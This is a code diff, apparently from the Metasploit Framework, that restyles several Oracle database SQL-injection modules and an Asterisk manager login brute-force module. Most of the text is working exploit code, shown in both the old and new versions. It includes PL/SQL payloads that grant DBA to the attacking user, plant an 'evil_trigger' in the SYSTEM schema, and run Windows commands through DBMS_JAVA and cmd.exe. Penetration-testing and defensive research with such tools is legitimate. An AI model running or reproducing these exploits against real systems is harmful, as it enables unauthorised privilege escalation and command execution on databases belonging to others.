prepare_exec(clean) - else end end end diff --git a/modules/auxiliary/sqli/oracle/droptable_trigger.rb b/modules/auxiliary/sqli/oracle/droptable_trigger.rb index 2b7e4821885fc..0f4affbb504c0 100644 --- a/modules/auxiliary/sqli/oracle/droptable_trigger.rb +++ b/modules/auxiliary/sqli/oracle/droptable_trigger.rb @@ -7,51 +7,59 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::FILEFORMAT def initialize(info = {}) - super(update_info(info, - 'Name' => 'Oracle DB SQL Injection in MDSYS.SDO_TOPO_DROP_FTBL Trigger', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'Oracle DB SQL Injection in MDSYS.SDO_TOPO_DROP_FTBL Trigger', + 'Description' => %q{ This module will escalate an Oracle DB user to MDSYS by exploiting a sql injection bug in the MDSYS.SDO_TOPO_DROP_FTBL trigger. After that exploit escalate user to DBA using "CREATE ANY TRIGGER" privilege given to MDSYS user by creating evil trigger in system scheme (2-stage attack). - }, - 'Author' => [ 'Sh2kerr ' ], - 'License' => MSF_LICENSE, - 'References' => - [ + }, + 'Author' => [ 'Sh2kerr ' ], + 'License' => MSF_LICENSE, + 'References' => [ [ 'CVE', '2008-3979' ], [ 'OSVDB', '51354' ], [ 'URL', 'http://www.securityfocus.com/archive/1/500061' ], [ 'URL', 'http://www.ngssoftware.com/' ], ], - 'DisclosureDate' => '2009-01-13')) - - register_options( - [ - OptString.new('SQL', [ false, 'The SQL to execute.', 'GRANT DBA TO SCOTT']), - OptString.new('USER', [ false, 'The current user. ', 'SCOTT']), - OptString.new('FILENAME', [ false, 'The file name.', 'msf.sql']) - ]) + 'DisclosureDate' => '2009-01-13', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS], + 'Reliability' => [] + } + ) + ) + + register_options( + [ + OptString.new('SQL', [ false, 'The SQL to execute.', 'GRANT DBA TO SCOTT']), + OptString.new('USER', [ false, 'The current user. ', 'SCOTT']), + OptString.new('FILENAME', [ false, 'The file name.', 'msf.sql']) + ] + ) end def run - name1 = Rex::Text.rand_text_alpha_upper(rand(10) + 1) - name2 = Rex::Text.rand_text_alpha_upper(rand(10) + 1) - rand1 = Rex::Text.rand_text_alpha_upper(rand(10) + 1) - rand2 = Rex::Text.rand_text_alpha_upper(rand(10) + 1) - rand3 = Rex::Text.rand_text_alpha_upper(rand(10) + 1) - rand4 = Rex::Text.rand_text_alpha_upper(rand(10) + 1) - rand5 = Rex::Text.rand_text_alpha_upper(rand(10) + 1) - - function1 = %Q| + name1 = Rex::Text.rand_text_alpha_upper(1..10) + name2 = Rex::Text.rand_text_alpha_upper(1..10) + rand1 = Rex::Text.rand_text_alpha_upper(1..10) + rand2 = Rex::Text.rand_text_alpha_upper(1..10) + rand3 = Rex::Text.rand_text_alpha_upper(1..10) + rand4 = Rex::Text.rand_text_alpha_upper(1..10) + rand5 = Rex::Text.rand_text_alpha_upper(1..10) + + function1 = %( CREATE OR REPLACE PROCEDURE #{name1} AUTHID CURRENT_USER AS PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE '#{datastore['SQL']}'; END; - | - + ) - function2 = %Q| + function2 = %| CREATE OR REPLACE FUNCTION #{name2} RETURN number AUTHID CURRENT_USER is PRAGMA AUTONOMOUS_TRANSACTION; STMT VARCHAR2(400):= 'create or replace trigger system.evil_trigger before insert on system.DEF$_TEMP$LOB DECLARE msg VARCHAR2(10); @@ -64,20 +72,19 @@ def run END; | - prepare ="create table \"O' and 1=#{datastore['USER']}.#{name2}--\"(id number)" + prepare = "create table \"O' and 1=#{datastore['USER']}.#{name2}--\"(id number)" - exploiting1 ="drop table \"O' and 1=#{datastore['USER']}.#{name2}--\"" + exploiting1 = "drop table \"O' and 1=#{datastore['USER']}.#{name2}--\"" exploiting2 = "insert into system.DEF$_TEMP$LOB (TEMP$BLOB) VALUES ('AA')" - fun1 = Rex::Text.encode_base64(function1) + fun1 = Rex::Text.encode_base64(function1) fun2 = Rex::Text.encode_base64(function2) - prp = Rex::Text.encode_base64(prepare) + prp = Rex::Text.encode_base64(prepare) exp1 = Rex::Text.encode_base64(exploiting1) exp2 = Rex::Text.encode_base64(exploiting2) - - sql = %Q| + sql = %| DECLARE #{rand1} VARCHAR2(32767); #{rand2} VARCHAR2(32767); @@ -103,10 +110,7 @@ def run DROP FUNCTION #{name2}; | - print_status("Creating '#{datastore['FILENAME']}' file ...") file_create(sql) - - end end diff --git a/modules/auxiliary/sqli/oracle/jvm_os_code_10g.rb b/modules/auxiliary/sqli/oracle/jvm_os_code_10g.rb index f680953fd03b4..b94de9da4cf03 100644 --- a/modules/auxiliary/sqli/oracle/jvm_os_code_10g.rb +++ b/modules/auxiliary/sqli/oracle/jvm_os_code_10g.rb @@ -7,57 +7,65 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::ORACLE def initialize(info = {}) - super(update_info(info, - 'Name' => 'Oracle DB 10gR2, 11gR1/R2 DBMS_JVM_EXP_PERMS OS Command Execution', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'Oracle DB 10gR2, 11gR1/R2 DBMS_JVM_EXP_PERMS OS Command Execution', + 'Description' => %q{ This module exploits a flaw (0 day) in DBMS_JVM_EXP_PERMS package that allows - any user with create session privilege to grant themselves java IO privileges. - Identified by David Litchfield. Works on 10g R2, 11g R1 and R2 (Windows only) - }, - 'Author' => [ 'sid[at]notsosecure.com' ], - 'License' => MSF_LICENSE, - 'References' => - [ + any user with create session privilege to grant themselves java IO privileges. + Identified by David Litchfield. Works on 10g R2, 11g R1 and R2 (Windows only) + }, + 'Author' => [ 'sid[at]notsosecure.com' ], + 'License' => MSF_LICENSE, + 'References' => [ [ 'CVE', '2010-0866'], [ 'OSVDB', '62184'], [ 'URL', 'http://blackhat.com/html/bh-dc-10/bh-dc-10-archives.html#Litchfield' ], [ 'URL', 'http://www.notsosecure.com/folder2/2010/02/04/hacking-oracle-11g/' ], ], - 'DisclosureDate' => '2010-02-01')) + 'DisclosureDate' => '2010-02-01', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS], + 'Reliability' => [] + } + ) + ) register_options( [ - OptString.new('CMD', [ false, 'CMD to execute.', "echo metasploit >> %SYSTEMDRIVE%\\\\unbreakable.txt"]), - ]) + OptString.new('CMD', [ false, 'CMD to execute.', 'echo metasploit >> %SYSTEMDRIVE%\\\\unbreakable.txt']), + ] + ) end def run - return if not check_dependencies + return if !check_dependencies - name = Rex::Text.rand_text_alpha(rand(10) + 1) + Rex::Text.rand_text_alpha(1..10) - - package1 = "DECLARE POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;" + - "CURSOR C1 IS SELECT 'GRANT',USER(), 'SYS','java.io.FilePermission','" - package1 << "<" << ">','execute','ENABLED' from dual;" + - "BEGIN OPEN C1;FETCH C1 BULK COLLECT INTO POL;CLOSE C1;DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);END;" - package2 = "DECLARE POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;" + - "CURSOR C1 IS SELECT 'GRANT',USER(), 'SYS','java.lang.RuntimePermission','writeFileDescriptor',NULL,'ENABLED' FROM DUAL;" + - "BEGIN OPEN C1;FETCH C1 BULK COLLECT INTO POL;CLOSE C1;DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);END;" - package3 = "DECLARE POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;" + - "CURSOR C1 IS SELECT 'GRANT',USER(), 'SYS','java.lang.RuntimePermission','readFileDescriptor',NULL,'ENABLED' FROM DUAL;" + - "BEGIN OPEN C1;FETCH C1 BULK COLLECT INTO POL;CLOSE C1;DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);END;" + package1 = 'DECLARE POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;' \ + "CURSOR C1 IS SELECT 'GRANT',USER(), 'SYS','java.io.FilePermission','" + package1 << '<' << ">','execute','ENABLED' from dual;" \ + 'BEGIN OPEN C1;FETCH C1 BULK COLLECT INTO POL;CLOSE C1;DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);END;' + package2 = 'DECLARE POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;' \ + "CURSOR C1 IS SELECT 'GRANT',USER(), 'SYS','java.lang.RuntimePermission','writeFileDescriptor',NULL,'ENABLED' FROM DUAL;" \ + 'BEGIN OPEN C1;FETCH C1 BULK COLLECT INTO POL;CLOSE C1;DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);END;' + package3 = 'DECLARE POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;' \ + "CURSOR C1 IS SELECT 'GRANT',USER(), 'SYS','java.lang.RuntimePermission','readFileDescriptor',NULL,'ENABLED' FROM DUAL;" \ + 'BEGIN OPEN C1;FETCH C1 BULK COLLECT INTO POL;CLOSE C1;DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);END;' os_code = "select DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','c:\\windows\\system32\\cmd.exe', '/c', ' #{datastore['CMD']}')from dual" begin - print_status("Attempting to grant JAVA IO Privileges") + print_status('Attempting to grant JAVA IO Privileges') prepare_exec(package1) prepare_exec(package2) prepare_exec(package3) - print_status("Attempting to execute OS Code") + print_status('Attempting to execute OS Code') prepare_exec(os_code) - rescue => e + rescue StandardError => e print_error("Error: #{e.class} #{e}") end end diff --git a/modules/auxiliary/sqli/oracle/jvm_os_code_11g.rb b/modules/auxiliary/sqli/oracle/jvm_os_code_11g.rb index e795f0417a08d..27717f23a54e5 100644 --- a/modules/auxiliary/sqli/oracle/jvm_os_code_11g.rb +++ b/modules/auxiliary/sqli/oracle/jvm_os_code_11g.rb @@ -7,46 +7,54 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::ORACLE def initialize(info = {}) - super(update_info(info, - 'Name' => 'Oracle DB 11g R1/R2 DBMS_JVM_EXP_PERMS OS Code Execution', - 'Description' => %q{ - This module exploits a flaw (0 day) in DBMS_JVM_EXP_PERMS package that allows + super( + update_info( + info, + 'Name' => 'Oracle DB 11g R1/R2 DBMS_JVM_EXP_PERMS OS Code Execution', + 'Description' => %q{ + This module exploits a flaw (0 day) in DBMS_JVM_EXP_PERMS package that allows any user with create session privilege to grant themselves java IO privileges. - Identified by David Litchfield. Works on 11g R1 and R2 (Windows only). - }, - 'Author' => [ 'sid[at]notsosecure.com' ], - 'License' => MSF_LICENSE, - 'References' => - [ + Identified by David Litchfield. Works on 11g R1 and R2 (Windows only). + }, + 'Author' => [ 'sid[at]notsosecure.com' ], + 'License' => MSF_LICENSE, + 'References' => [ [ 'CVE', '2010-0866'], [ 'OSVDB', '62184'], [ 'URL', 'http://blackhat.com/html/bh-dc-10/bh-dc-10-archives.html#Litchfield' ], [ 'URL', 'http://www.notsosecure.com/folder2/2010/02/04/hacking-oracle-11g/' ], ], - 'DisclosureDate' => '2010-02-01')) + 'DisclosureDate' => '2010-02-01', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS], + 'Reliability' => [] + } + ) + ) register_options( [ - OptString.new('CMD', [ false, 'CMD to execute.', "echo metasploit >> %SYSTEMDRIVE%\\\\unbreakable.txt"]), - ]) + OptString.new('CMD', [ false, 'CMD to execute.', 'echo metasploit >> %SYSTEMDRIVE%\\\\unbreakable.txt']), + ] + ) end def run - return if not check_dependencies - - name = Rex::Text.rand_text_alpha(rand(10) + 1) + return if !check_dependencies + Rex::Text.rand_text_alpha(1..10) package = "DECLARE POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;CURSOR C1 IS SELECT 'GRANT',USER(), 'SYS','java.io.FilePermission','" - package << "<" << ">','execute','ENABLED' from dual;BEGIN OPEN C1;FETCH C1 BULK COLLECT INTO POL;CLOSE C1;DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);END;" + package << '<' << ">','execute','ENABLED' from dual;BEGIN OPEN C1;FETCH C1 BULK COLLECT INTO POL;CLOSE C1;DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);END;" os_code = "select dbms_java.runjava('oracle/aurora/util/Wrapper c:\\\\windows\\\\system32\\\\cmd.exe /c #{datastore['CMD']}')from dual" begin - print_status("Attempting to grant JAVA IO Privileges") + print_status('Attempting to grant JAVA IO Privileges') prepare_exec(package) - print_status("Attempting to execute OS Code") + print_status('Attempting to execute OS Code') prepare_exec(os_code) - rescue => e + rescue StandardError => e print_error("Error: #{e.class} #{e}") end end diff --git a/modules/auxiliary/sqli/oracle/lt_compressworkspace.rb b/modules/auxiliary/sqli/oracle/lt_compressworkspace.rb index 3e6459006b00a..7b486321fcb75 100644 --- a/modules/auxiliary/sqli/oracle/lt_compressworkspace.rb +++ b/modules/auxiliary/sqli/oracle/lt_compressworkspace.rb @@ -7,33 +7,42 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::ORACLE def initialize(info = {}) - super(update_info(info, - 'Name' => 'Oracle DB SQL Injection via SYS.LT.COMPRESSWORKSPACE', - 'Description' => %q{ - This module exploits an sql injection flaw in the COMPRESSWORKSPACE - procedure of the PL/SQL package SYS.LT. Any user with execute - privilege on the vulnerable package can exploit this vulnerability. - }, - 'Author' => [ 'CG' ], - 'License' => MSF_LICENSE, - 'References' => - [ + super( + update_info( + info, + 'Name' => 'Oracle DB SQL Injection via SYS.LT.COMPRESSWORKSPACE', + 'Description' => %q{ + This module exploits an sql injection flaw in the COMPRESSWORKSPACE + procedure of the PL/SQL package SYS.LT. Any user with execute + privilege on the vulnerable package can exploit this vulnerability. + }, + 'Author' => [ 'CG' ], + 'License' => MSF_LICENSE, + 'References' => [ [ 'CVE', '2008-3982'], [ 'OSVDB', '49324'], [ 'URL', 'http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpuoct2008.html' ] ], - 'DisclosureDate' => '2008-10-13')) + 'DisclosureDate' => '2008-10-13', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS], + 'Reliability' => [] + } + ) + ) - register_options( - [ - OptString.new('SQL', [ false, 'SQL to execte.', "GRANT DBA to #{datastore['DBUSER']}"]), - ]) + register_options( + [ + OptString.new('SQL', [ false, 'SQL to execte.', "GRANT DBA to #{datastore['DBUSER']}"]), + ] + ) end def run - return if not check_dependencies + return if !check_dependencies - name = Rex::Text.rand_text_alpha_upper(rand(10) + 1) + name = Rex::Text.rand_text_alpha_upper(1..10) cruft = Rex::Text.rand_text_alpha_upper(1) function = " @@ -53,22 +62,21 @@ def run clean = "DROP FUNCTION #{cruft}" - print_status("Attempting sql injection on SYS.LT.COMPRESSWORKSPACE...") + print_status('Attempting sql injection on SYS.LT.COMPRESSWORKSPACE...') - print_status("Sending function...") + print_status('Sending function...') prepare_exec(function) begin prepare_exec(package1) prepare_exec(package2) - rescue => e - if ( e.to_s =~ /No Data/ ) + rescue StandardError => e + if (e.to_s =~ /No Data/) print_status("Removing function '#{cruft}'...") prepare_exec(clean) else return end end - end end diff --git a/modules/auxiliary/sqli/oracle/lt_findricset_cursor.rb b/modules/auxiliary/sqli/oracle/lt_findricset_cursor.rb index 6931a33a45c81..79d9334d7aa8b 100644 --- a/modules/auxiliary/sqli/oracle/lt_findricset_cursor.rb +++ b/modules/auxiliary/sqli/oracle/lt_findricset_cursor.rb @@ -7,51 +7,60 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::ORACLE def initialize(info = {}) - super(update_info(info, - 'Name' => 'Oracle DB SQL Injection via SYS.LT.FINDRICSET Evil Cursor Method', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'Oracle DB SQL Injection via SYS.LT.FINDRICSET Evil Cursor Method', + 'Description' => %q{ This module will escalate an Oracle DB user to DBA by exploiting a sql injection bug in the SYS.LT.FINDRICSET package via Evil Cursor technique. Tested on oracle 10.1.0.3.0 -- should work on thru 10.1.0.5.0 and supposedly on 11g. Fixed with Oracle Critical Patch update October 2007. - }, - 'Author' => ['CG'], - 'License' => MSF_LICENSE, - 'References' => - [ + }, + 'Author' => ['CG'], + 'License' => MSF_LICENSE, + 'References' => [ [ 'CVE', '2007-5511'], [ 'OSVDB', '40079'], [ 'BID', '26098' ], [ 'URL', 'http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpuoct2007.html'], ], - 'DisclosureDate' => '2007-10-17')) + 'DisclosureDate' => '2007-10-17', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS], + 'Reliability' => [] + } + ) + ) - register_options( - [ - OptString.new('SQL', [ false, 'SQL to execute.', "GRANT DBA to #{datastore['DBUSER']}"]), - ]) + register_options( + [ + OptString.new('SQL', [ false, 'SQL to execute.', "GRANT DBA to #{datastore['DBUSER']}"]), + ] + ) end def run - return if not check_dependencies + return if !check_dependencies - p = Rex::Text.rand_text_alpha_upper(rand(10) + 1) + p = Rex::Text.rand_text_alpha_upper(1..10) - cursor = <<-EOF -DECLARE -#{p} NUMBER; -BEGIN -#{p} := DBMS_SQL.OPEN_CURSOR; -DBMS_SQL.PARSE(#{p},'declare pragma autonomous_transaction; begin execute immediate ''#{datastore['SQL'].upcase}'';commit;end;',0); -SYS.LT.FINDRICSET('.''||dbms_sql.execute('||#{p}||')||'''')--',''); -END; -EOF + cursor = <<~EOF + DECLARE + #{p} NUMBER; + BEGIN + #{p} := DBMS_SQL.OPEN_CURSOR; + DBMS_SQL.PARSE(#{p},'declare pragma autonomous_transaction; begin execute immediate ''#{datastore['SQL'].upcase}'';commit;end;',0); + SYS.LT.FINDRICSET('.''||dbms_sql.execute('||#{p}||')||'''')--',''); + END; + EOF begin - print_status("Sending Evil Cursor and SQLI...") + print_status('Sending Evil Cursor and SQLI...') prepare_exec(cursor) - rescue => e + rescue StandardError return end end diff --git a/modules/auxiliary/sqli/oracle/lt_mergeworkspace.rb b/modules/auxiliary/sqli/oracle/lt_mergeworkspace.rb index 661da55f3d7cd..cc3824f344eac 100644 --- a/modules/auxiliary/sqli/oracle/lt_mergeworkspace.rb +++ b/modules/auxiliary/sqli/oracle/lt_mergeworkspace.rb @@ -7,38 +7,47 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::ORACLE def initialize(info = {}) - super(update_info(info, - 'Name' => 'Oracle DB SQL Injection via SYS.LT.MERGEWORKSPACE', - 'Description' => %q{ - This module exploits a sql injection flaw in the MERGEWORKSPACE - procedure of the PL/SQL package SYS.LT. Any user with execute - privilege on the vulnerable package can exploit this vulnerability. - }, - 'Author' => [ 'CG' ], - 'License' => MSF_LICENSE, - 'References' => - [ + super( + update_info( + info, + 'Name' => 'Oracle DB SQL Injection via SYS.LT.MERGEWORKSPACE', + 'Description' => %q{ + This module exploits a sql injection flaw in the MERGEWORKSPACE + procedure of the PL/SQL package SYS.LT. Any user with execute + privilege on the vulnerable package can exploit this vulnerability. + }, + 'Author' => [ 'CG' ], + 'License' => MSF_LICENSE, + 'References' => [ [ 'CVE', '2008-3983'], [ 'OSVDB', '49325'], [ 'URL', 'http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpuoct2008.html' ], [ 'URL', 'http://www.dsecrg.com/pages/expl/show.php?id=23' ] ], - 'DisclosureDate' => '2008-10-22')) + 'DisclosureDate' => '2008-10-22', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS], + 'Reliability' => [] + } + ) + ) - register_options( - [ - OptString.new('SQL', [ false, 'SQL to execte.', "GRANT DBA to #{datastore['DBUSER']}"]), - ]) + register_options( + [ + OptString.new('SQL', [ false, 'SQL to execte.', "GRANT DBA to #{datastore['DBUSER']}"]), + ] + ) end def run - return if not check_dependencies + return if !check_dependencies - name = Rex::Text.rand_text_alpha_upper(rand(10) + 1) - rand1 = Rex::Text.rand_text_alpha_upper(rand(10) + 1) - rand2 = Rex::Text.rand_text_alpha_upper(rand(10) + 1) - rand3 = Rex::Text.rand_text_alpha_upper(rand(10) + 1) + name = Rex::Text.rand_text_alpha_upper(1..10) + rand1 = Rex::Text.rand_text_alpha_upper(1..10) + rand2 = Rex::Text.rand_text_alpha_upper(1..10) + rand3 = Rex::Text.rand_text_alpha_upper(1..10) cruft = Rex::Text.rand_text_alpha_upper(1) function = " @@ -52,23 +61,23 @@ def run RETURN '#{cruft}'; END;" - package1 = %Q| + package1 = %| BEGIN SYS.LT.CREATEWORKSPACE('#{name}'' and #{datastore['DBUSER']}.#{cruft}()=''#{cruft}'); END; | - package2 = %Q| + package2 = %| BEGIN SYS.LT.MERGEWORKSPACE('#{name}'' and #{datastore['DBUSER']}.#{cruft}()=''#{cruft}'); END; | - uno = Rex::Text.encode_base64(function) - dos = Rex::Text.encode_base64(package1) + uno = Rex::Text.encode_base64(function) + dos = Rex::Text.encode_base64(package1) tres = Rex::Text.encode_base64(package2) - sql = %Q| + sql = %| DECLARE #{rand1} VARCHAR2(32767); #{rand2} VARCHAR2(32767); @@ -86,15 +95,14 @@ def run clean = "DROP FUNCTION #{cruft}" # Try first, if it's good.. keep doing the dance. - print_status("Attempting sql injection on SYS.LT.MERGEWORKSPACE...") + print_status('Attempting sql injection on SYS.LT.MERGEWORKSPACE...') begin prepare_exec(sql) - rescue => e + rescue StandardError return end print_status("Removing function '#{cruft}'...") prepare_exec(clean) - end end diff --git a/modules/auxiliary/sqli/oracle/lt_removeworkspace.rb b/modules/auxiliary/sqli/oracle/lt_removeworkspace.rb index 31a0afc161bec..a2c944f5306a8 100644 --- a/modules/auxiliary/sqli/oracle/lt_removeworkspace.rb +++ b/modules/auxiliary/sqli/oracle/lt_removeworkspace.rb @@ -7,35 +7,44 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::ORACLE def initialize(info = {}) - super(update_info(info, - 'Name' => 'Oracle DB SQL Injection via SYS.LT.REMOVEWORKSPACE', - 'Description' => %q{ - This module exploits a sql injection flaw in the REMOVEWORKSPACE - procedure of the PL/SQL package SYS.LT. Any user with execute - privilege on the vulnerable package can exploit this vulnerability. - }, - 'Author' => [ 'Sh2kerr ' ], - 'License' => MSF_LICENSE, - 'References' => - [ + super( + update_info( + info, + 'Name' => 'Oracle DB SQL Injection via SYS.LT.REMOVEWORKSPACE', + 'Description' => %q{ + This module exploits a sql injection flaw in the REMOVEWORKSPACE + procedure of the PL/SQL package SYS.LT. Any user with execute + privilege on the vulnerable package can exploit this vulnerability. + }, + 'Author' => [ 'Sh2kerr ' ], + 'License' => MSF_LICENSE, + 'References' => [ [ 'CVE', '2008-3984' ], [ 'OSVDB', '49326'] ], - 'DisclosureDate' => '2008-10-13')) + 'DisclosureDate' => '2008-10-13', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS], + 'Reliability' => [] + } + ) + ) - register_options( - [ - OptString.new('SQL', [ false, 'SQL to execte.', "GRANT DBA to #{datastore['DBUSER']}"]), - ]) + register_options( + [ + OptString.new('SQL', [ false, 'SQL to execte.', "GRANT DBA to #{datastore['DBUSER']}"]), + ] + ) end def run - return if not check_dependencies + return if !check_dependencies - name = Rex::Text.rand_text_alpha_upper(rand(10) + 1) - rand1 = Rex::Text.rand_text_alpha_upper(rand(10) + 1) - rand2 = Rex::Text.rand_text_alpha_upper(rand(10) + 1) - rand3 = Rex::Text.rand_text_alpha_upper(rand(10) + 1) + name = Rex::Text.rand_text_alpha_upper(1..10) + rand1 = Rex::Text.rand_text_alpha_upper(1..10) + rand2 = Rex::Text.rand_text_alpha_upper(1..10) + rand3 = Rex::Text.rand_text_alpha_upper(1..10) cruft = Rex::Text.rand_text_alpha_upper(1) function = " @@ -49,23 +58,23 @@ def run RETURN '#{cruft}'; END;" - package1 = %Q| + package1 = %| BEGIN SYS.LT.CREATEWORKSPACE('#{name}'' and #{datastore['DBUSER']}.#{cruft}()=''#{cruft}'); END; | - package2 = %Q| + package2 = %| BEGIN SYS.LT.REMOVEWORKSPACE('#{name}'' and #{datastore['DBUSER']}.#{cruft}()=''#{cruft}'); END; | - uno = Rex::Text.encode_base64(function) - dos = Rex::Text.encode_base64(package1) + uno = Rex::Text.encode_base64(function) + dos = Rex::Text.encode_base64(package1) tres = Rex::Text.encode_base64(package2) - sql = %Q| + sql = %| DECLARE #{rand1} VARCHAR2(32767); #{rand2} VARCHAR2(32767); @@ -83,15 +92,14 @@ def run clean = "DROP FUNCTION #{cruft}" # Try first, if it's good.. keep doing the dance. - print_status("Attempting sql injection on SYS.LT.REMOVEWORKSPACE...") + print_status('Attempting sql injection on SYS.LT.REMOVEWORKSPACE...') begin prepare_exec(sql) - rescue => e + rescue StandardError return end print_status("Removing function '#{cruft}'...") prepare_exec(clean) - end end diff --git a/modules/auxiliary/sqli/oracle/lt_rollbackworkspace.rb b/modules/auxiliary/sqli/oracle/lt_rollbackworkspace.rb index 7574574284dbf..4663e2c6796b3 100644 --- a/modules/auxiliary/sqli/oracle/lt_rollbackworkspace.rb +++ b/modules/auxiliary/sqli/oracle/lt_rollbackworkspace.rb @@ -7,37 +7,46 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::ORACLE def initialize(info = {}) - super(update_info(info, - 'Name' => 'Oracle DB SQL Injection via SYS.LT.ROLLBACKWORKSPACE', - 'Description' => %q{ - This module exploits a sql injection flaw in the ROLLBACKWORKSPACE - procedure of the PL/SQL package SYS.LT. Any user with execute - privilege on the vulnerable package can exploit this vulnerability. - }, - 'Author' => [ 'MC' ], - 'License' => MSF_LICENSE, - 'References' => - [ + super( + update_info( + info, + 'Name' => 'Oracle DB SQL Injection via SYS.LT.ROLLBACKWORKSPACE', + 'Description' => %q{ + This module exploits a sql injection flaw in the ROLLBACKWORKSPACE + procedure of the PL/SQL package SYS.LT. Any user with execute + privilege on the vulnerable package can exploit this vulnerability. + }, + 'Author' => [ 'MC' ], + 'License' => MSF_LICENSE, + 'References' => [ [ 'CVE', '2009-0978' ], [ 'OSVDB', '53734'], [ 'URL', 'http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpuapr2009.html' ], ], - 'DisclosureDate' => '2009-05-04')) + 'DisclosureDate' => '2009-05-04', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS], + 'Reliability' => [] + } + ) + ) - register_options( - [ - OptString.new('SQL', [ false, 'SQL to execte.', "GRANT DBA to #{datastore['DBUSER']}"]), - ]) + register_options( + [ + OptString.new('SQL', [ false, 'SQL to execte.', "GRANT DBA to #{datastore['DBUSER']}"]), + ] + ) end def run - return if not check_dependencies + return if !check_dependencies - name = Rex::Text.rand_text_alpha_upper(rand(10) + 1) - rand1 = Rex::Text.rand_text_alpha_upper(rand(10) + 1) - rand2 = Rex::Text.rand_text_alpha_upper(rand(10) + 1) - rand3 = Rex::Text.rand_text_alpha_upper(rand(10) + 1) - cruft = Rex::Text.rand_text_alpha_upper(rand(5) + 1) + name = Rex::Text.rand_text_alpha_upper(1..10) + rand1 = Rex::Text.rand_text_alpha_upper(1..10) + rand2 = Rex::Text.rand_text_alpha_upper(1..10) + rand3 = Rex::Text.rand_text_alpha_upper(1..10) + cruft = Rex::Text.rand_text_alpha_upper(1..5) function = " CREATE OR REPLACE FUNCTION #{cruft} @@ -50,23 +59,23 @@ def run RETURN '#{cruft}'; END;" - package1 = %Q| + package1 = %| BEGIN SYS.LT.CREATEWORKSPACE('#{name}'' and #{datastore['DBUSER']}.#{cruft}()=''#{cruft}'); END; | - package2 = %Q| + package2 = %| BEGIN SYS.LT.ROLLBACKWORKSPACE('#{name}'' and #{datastore['DBUSER']}.#{cruft}()=''#{cruft}'); END; | - uno = Rex::Text.encode_base64(function) - dos = Rex::Text.encode_base64(package1) + uno = Rex::Text.encode_base64(function) + dos = Rex::Text.encode_base64(package1) tres = Rex::Text.encode_base64(package2) - sql = %Q| + sql = %| DECLARE #{rand1} VARCHAR2(32767); #{rand2} VARCHAR2(32767); @@ -83,7 +92,7 @@ def run clean = "DROP FUNCTION #{cruft}" - print_status("Attempting sql injection on SYS.LT.ROLLBACKWORKSPACE...") + print_status('Attempting sql injection on SYS.LT.ROLLBACKWORKSPACE...') prepare_exec(sql) print_status("Removing function '#{cruft}'...") prepare_exec(clean) diff --git a/modules/auxiliary/voip/asterisk_login.rb b/modules/auxiliary/voip/asterisk_login.rb index 6c40c1046d2ef..a819cf55415c5 100644 --- a/modules/auxiliary/voip/asterisk_login.rb +++ b/modules/auxiliary/voip/asterisk_login.rb @@ -9,43 +9,50 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Auxiliary::AuthBrute - def initialize(info={}) - super(update_info(info, - 'Name' => 'Asterisk Manager Login Utility', - 'Description' => %q{ - This module attempts to authenticate to an Asterisk Manager service. Please note - that by default, Asterisk Call Management (port 5038) only listens locally, but - this can be manually configured in file /etc/asterisk/manager.conf by the admin - on the victim machine. - }, - 'Author' => - [ + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Asterisk Manager Login Utility', + 'Description' => %q{ + This module attempts to authenticate to an Asterisk Manager service. Please note + that by default, Asterisk Call Management (port 5038) only listens locally, but + this can be manually configured in file /etc/asterisk/manager.conf by the admin + on the victim machine. + }, + 'Author' => [ 'dflah_ ', ], - 'References' => - [ + 'References' => [ ['URL', 'http://www.asterisk.org/astdocs/node201.html'], # Docs for AMI ], - 'License' => MSF_LICENSE - )) + 'License' => MSF_LICENSE, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [ACCOUNT_LOCKOUTS], + 'Reliability' => [] + } + ) + ) register_options( [ 